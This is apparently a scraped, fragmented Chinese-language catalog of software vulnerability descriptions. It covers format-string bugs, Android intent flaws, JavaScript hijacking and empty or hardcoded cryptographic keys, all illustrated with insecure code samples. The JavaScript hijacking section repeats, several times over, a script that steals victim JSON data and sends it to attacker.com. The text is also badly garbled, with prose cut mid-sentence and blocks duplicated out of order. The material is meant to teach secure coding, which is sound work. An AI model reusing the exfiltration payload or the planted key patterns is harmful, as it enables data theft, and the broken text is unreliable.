services-config.xml
描述符文件会指定一个“Logging”XML 元素来描述日志记录的不同方面。它类似于以下内容:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
标签可采用一个名为 level
的可选属性,用来指示日志级别。如果调试级别设置为太详细的级别,您的应用程序可能会将敏感数据写入日志文件。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
将一个命令行参数复制到缓冲区中。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)通过使用 %n
格式化指令,攻击者能够对堆栈进行写入,进而使 snprintf()
记下迄今为止输出的字节数,并将其传送给指定的参数(而不是直接从参数中读取数值,这是程序员最初设计的行为)。对于这种攻击,更为的复杂的形式是使用四条交错的写入来完全控制堆栈中某个指针的值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或 NSString.stringWithFormat
示例 1:下面的代码将命令行参数作为 NSString.stringWithFormat:
中的 format string。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:示例 4:Apple 核心类提供了利用 format string 漏洞的有趣途径。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函数有时候可以这样使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正确使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。%d
格式说明符将一个浮点转换为 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
。隐式的内部意图可能会使系统遭受对内部组件的中间人攻击。Intent
使用内部组件定义的自定义操作。隐式意图可以促进从任何给定外部组件调用意图,而无需了解特定组件。将两者结合起来使应用程序能够从所需的应用程序上下文外部访问为特定内部使用指定的意图。Intent
的能力可以实现各种严重程度不等的中间人攻击,从信息泄露、拒绝服务到远程代码执行,具体取决于 Intent
指定的内部操作的能力。Intent
。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
。隐式待定意图可能会导致安全漏洞,例如拒绝服务、私人和系统信息泄漏以及权限提升。Intent
。隐式意图有助于从任何给定的外部组件调用意图,使用通用名称和筛选器来确定执行。Intent
创建为 PendingIntent
,这可能允许将 Intent
发送到在预期时间上下文之外运行的非预期组件,从而使系统容易受到拒绝服务、私人和系统信息泄露以及权限提升等攻击途径。PendingIntent
。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
,其标记值设置为 FLAG_MUTABLE
。使用标记值 FLAG_MUTABLE
创建的待定意图很容易在下游设置未指定的 Intent
字段,这样会修改 Intent
的容量并使系统容易受到攻击。PendingIntent
后修改其底层 Intent
可能会使系统容易受到攻击。这主要取决于底层 Intent
的整体功能。在大多数情况下,最佳实践是通过将 PendingIntent
标记设置为 FLAG_IMMUTABLE
来防止发生潜在问题。FLAG_MUTABLE
创建的 PendingIntent
。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
启动活动、启动服务或传递广播,可使攻击者能够任意启动内部应用程序组件、控制内部组件的行为,或通过临时授权间接访问内容提供者提供的受保护数据。Intent
的 Extra 捆绑包中嵌套的任意 Intent
。Intent
,通过调用 startActivity
、startService
或 sendBroadcast
来启动组件。Intent
,并使用该 Intent
启动活动。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
中显示的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能确定它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
中的代码可能会成功运行,但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布,除非修补该程序,否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外,Example 1
中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
包含一个已进行适当管理的强密码值,将其长度传递为 0 也会导致产生空、null
或其他形式的意外弱密码值。
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
包含一个已进行适当管理的强密码值,将其长度传递为 0 也会导致产生空、null
或其他形式的意外弱密码值。
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
。心怀不轨的雇员可以利用其对此信息的访问权限来破坏系统加密的数据。
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
示例 2:以下代码使用硬编码加密密钥执行 AES 加密:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...